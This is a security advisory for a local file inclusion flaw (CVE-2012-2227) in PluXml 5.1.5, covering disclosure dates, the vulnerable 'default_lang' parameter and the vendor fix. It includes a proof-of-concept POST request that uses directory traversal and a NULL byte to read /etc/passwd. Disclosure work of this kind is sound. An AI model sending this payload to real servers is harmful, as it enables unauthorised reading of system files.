PluXml 5.1.5 - Local File Inclusion

Advisory ID: HTB23086

Product: PluXml

Vendor: pluxml.org

Vulnerable Version(s): 5.1.5 and probably prior

Tested Version: 5.1.5

Vendor Notification: 11 April 2012 

Vendor Patch: 16 April 2012 

Public Disclosure: 2 May 2012 

Vulnerability Type: Local File Inclusion

CVE Reference(s): CVE-2012-2227

Solution Status: Fixed by Vendor

Risk Level: High 

Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.com/advisory/ ) 



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Advisory Details:



High-Tech Bridge SA Security Research Lab has discovered vulnerabiliy in PluXml, which can be exploited to perform Local File Inclusion attacks.





1) Local File Inclusion in PluXml



1.1 Input passed via the "default_lang" POST parameter to /update/index.php is not properly verified before being used in include_once() function and can be exploited to include arbitrary local files.

This can be exploited to include local files via directory traversal sequences and URL-encoded NULL bytes.



The following PoC (Proof of Concept) demonstrates the vulnerability:





POST /update/index.php HTTP/1.1

[...]

Content-Type: application/x-www-form-urlencoded

Content-Length: [...]



default_lang=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00





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Solution:



Upgrade to PluXml 5.1.6



More Information:

http://www.pluxml.org/article59/sortie-de-pluxml-5-1-6

http://telechargements.pluxml.org/changelog



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References:



[1] High-Tech Bridge Advisory HTB23086 - https://www.htbridge.com/advisory/HTB23086 - Local File Inclusion in PluXml.

[2] PluXml - http://www.pluxml.org - PluXml is a script to create a site or a blog.

[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.



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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.